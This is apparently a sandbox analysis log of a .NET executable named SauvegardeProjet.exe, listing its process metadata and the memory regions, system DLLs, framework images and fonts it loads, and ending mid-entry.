# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Oct 25 2018 12:55:11 # Log Creation Date: 28.10.2018 08:51:36.045 Process: id = "1" image_name = "sauvegardeprojet.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe" page_root = "0x5170e000" os_pid = "0x1c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5 start_va = 0x110000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 6 start_va = 0x230000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 7 start_va = 0xea0000 end_va = 0xf3bfff entry_point = 0xea0000 region_type = mapped_file name = "sauvegardeprojet.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe") Region: id = 8 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 10 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 11 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 12 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 13 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 14 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 15 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 149 start_va = 0x430000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 150 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 151 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 152 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 153 start_va = 0x5b0000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 154 start_va = 0x75250000 end_va = 0x75299fff entry_point = 0x75250000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 155 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 156 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 157 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 158 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 159 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 160 start_va = 0x60000 end_va = 0xc6fff entry_point = 0x60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 161 start_va = 0x800000 end_va = 0x80ffff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 162 start_va = 0x960000 end_va = 0x99ffff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 163 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 164 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 165 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 166 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 167 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 168 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 169 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 170 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 171 start_va = 0x1d0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 172 start_va = 0x751d0000 end_va = 0x75247fff entry_point = 0x751d0000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 173 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 174 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 175 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 176 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 177 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 178 start_va = 0x9a0000 end_va = 0xb27fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 179 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 180 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 181 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 182 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 183 start_va = 0xb30000 end_va = 0xcb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 184 start_va = 0xf40000 end_va = 0x233ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f40000" filename = "" Region: id = 185 start_va = 0x751c0000 end_va = 0x751c8fff entry_point = 0x751c0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 186 start_va = 0x74630000 end_va = 0x74cd7fff entry_point = 0x74630000 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 187 start_va = 0x750c0000 end_va = 0x751b4fff entry_point = 0x750c0000 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll") Region: id = 188 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 189 start_va = 0xe0000 end_va = 0xeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 190 start_va = 0xf0000 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 191 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 192 start_va = 0x150000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 193 start_va = 0x160000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 194 start_va = 0x170000 end_va = 0x17ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 195 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 196 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 197 start_va = 0x1e0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 198 start_va = 0x330000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 199 start_va = 0x390000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 200 start_va = 0x4b0000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 201 start_va = 0x700000 end_va = 0x7fffff entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 202 start_va = 0xde0000 end_va = 0xe1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 203 start_va = 0x23b0000 end_va = 0x24affff entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 204 start_va = 0x2510000 end_va = 0x254ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 205 start_va = 0x2550000 end_va = 0x454ffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 206 start_va = 0x4640000 end_va = 0x473ffff entry_point = 0x0 region_type = private name = "private_0x0000000004640000" filename = "" Region: id = 207 start_va = 0x4740000 end_va = 0x4a0efff entry_point = 0x4740000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 208 start_va = 0x72500000 end_va = 0x7372afff entry_point = 0x72500000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll") Region: id = 209 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 210 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 211 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 212 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 213 start_va = 0x74d00000 end_va = 0x74d7ffff entry_point = 0x74d00000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 214 start_va = 0x4a10000 end_va = 0x4bbffff entry_point = 0x0 region_type = private name = "private_0x0000000004a10000" filename = "" Region: id = 215 start_va = 0x810000 end_va = 0x8eefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 216 start_va = 0x1a0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 217 start_va = 0x1b0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 218 start_va = 0x71430000 end_va = 0x71b45fff entry_point = 0x71430000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll") Region: id = 219 start_va = 0x71b50000 end_va = 0x724fcfff entry_point = 0x71b50000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll") Region: id = 220 start_va = 0x74ef0000 end_va = 0x750bafff entry_point = 0x74ef0000 region_type = mapped_file name = "microsoft.visualbasic.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll") Region: id = 221 start_va = 0x74e70000 end_va = 0x74eecfff entry_point = 0x74e70000 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 222 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 223 start_va = 0x1c0000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 224 start_va = 0x707d0000 end_va = 0x71427fff entry_point = 0x707d0000 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll") Region: id = 225 start_va = 0x744a0000 end_va = 0x7462cfff entry_point = 0x744a0000 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll") Region: id = 226 start_va = 0xda0000 end_va = 0xddffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 227 start_va = 0xd20000 end_va = 0xd5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 228 start_va = 0x4d20000 end_va = 0x4e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d20000" filename = "" Region: id = 229 start_va = 0x74e50000 end_va = 0x74e65fff entry_point = 0x74e50000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 230 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 231 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x74460000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 232 start_va = 0x4550000 end_va = 0x45d1fff entry_point = 0x4550000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 233 start_va = 0x4550000 end_va = 0x45d1fff entry_point = 0x4550000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 234 start_va = 0x743d0000 end_va = 0x74453fff entry_point = 0x743d0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 235 start_va = 0x4e20000 end_va = 0x4ffffff entry_point = 0x0 region_type = private name = "private_0x0000000004e20000" filename = "" Region: id = 236 start_va = 0x743b0000 end_va = 0x743c2fff entry_point = 0x743b0000 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 237 start_va = 0x5000000 end_va = 0x52d1fff entry_point = 0x5000000 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 238 start_va = 0x73990000 end_va = 0x73e27fff entry_point = 0x73990000 region_type = mapped_file name = "system.windows.forms.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.windows.forms\\v4.0_4.0.0.0__b77a5c561934e089\\system.windows.forms.dll") Region: id = 239 start_va = 0x742e0000 end_va = 0x743a4fff entry_point = 0x742e0000 region_type = mapped_file name = "system.runtime.remoting.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll") Region: id = 240 start_va = 0x220000 end_va = 0x221fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 241 start_va = 0x7ef40000 end_va = 0x7ef4ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef40000" filename = "" Region: id = 242 start_va = 0x7ef50000 end_va = 0x7ef9ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef50000" filename = "" Region: id = 243 start_va = 0x74150000 end_va = 0x742dffff entry_point = 0x74150000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 244 start_va = 0x4a10000 end_va = 0x4b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a10000" filename = "" Region: id = 245 start_va = 0x4b80000 end_va = 0x4bbffff entry_point = 0x0 region_type = private name = "private_0x0000000004b80000" filename = "" Region: id = 246 start_va = 0x370000 end_va = 0x38afff entry_point = 0x370000 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat") Region: id = 247 start_va = 0x24c0000 end_va = 0x24fffff entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 248 start_va = 0x4a70000 end_va = 0x4b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a70000" filename = "" Region: id = 249 start_va = 0x4b70000 end_va = 0x4b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b70000" filename = "" Region: id = 250 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 251 start_va = 0x4bc0000 end_va = 0x4cbffff entry_point = 0x0 region_type = private name = "private_0x0000000004bc0000" filename = "" Region: id = 252 start_va = 0x4550000 end_va = 0x45effff entry_point = 0x4550000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 253 start_va = 0x4550000 end_va = 0x45effff entry_point = 0x4550000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 254 start_va = 0x4550000 end_va = 0x45fafff entry_point = 0x4550000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 255 start_va = 0x4550000 end_va = 0x45fafff entry_point = 0x4550000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 256 start_va = 0x52e0000 end_va = 0x6788fff entry_point = 0x52e0000 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 257 start_va = 0x52e0000 end_va = 0x6788fff entry_point = 0x52e0000 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 258 start_va = 0x52e0000 end_va = 0x67a2fff entry_point = 0x52e0000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 259 start_va = 0x52e0000 end_va = 0x67a2fff entry_point = 0x52e0000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 260 start_va = 0x52e0000 end_va = 0x5702fff entry_point = 0x52e0000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 261 start_va = 0x52e0000 end_va = 0x5702fff entry_point = 0x52e0000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 262 start_va = 0x5710000 end_va = 0x590ffff entry_point = 0x0 region_type = private name = "private_0x0000000005710000" filename = "" Region: id = 263 start_va = 0xe20000 end_va = 0xe9efff entry_point = 0xe20000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 264 start_va = 0xe20000 end_va = 0xe9efff entry_point = 0xe20000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 265 start_va = 0x4550000 end_va = 0x461ffff entry_point = 0x0 region_type = private name = "private_0x0000000004550000" filename = "" Region: id = 266 start_va = 0x5910000 end_va = 0x623ffff entry_point = 0x5910000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 267 start_va = 0x370000 end_va = 0x370fff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 268 start_va = 0x8f0000 end_va = 0x951fff entry_point = 0x8f0000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 269 start_va = 0x4e20000 end_va = 0x4fbafff entry_point = 0x4e20000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 270 start_va = 0x4ff0000 end_va = 0x4ffffff entry_point = 0x0 region_type = private name = "private_0x0000000004ff0000" filename = "" Region: id = 271 start_va = 0x4e20000 end_va = 0x4fbafff entry_point = 0x4e20000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: 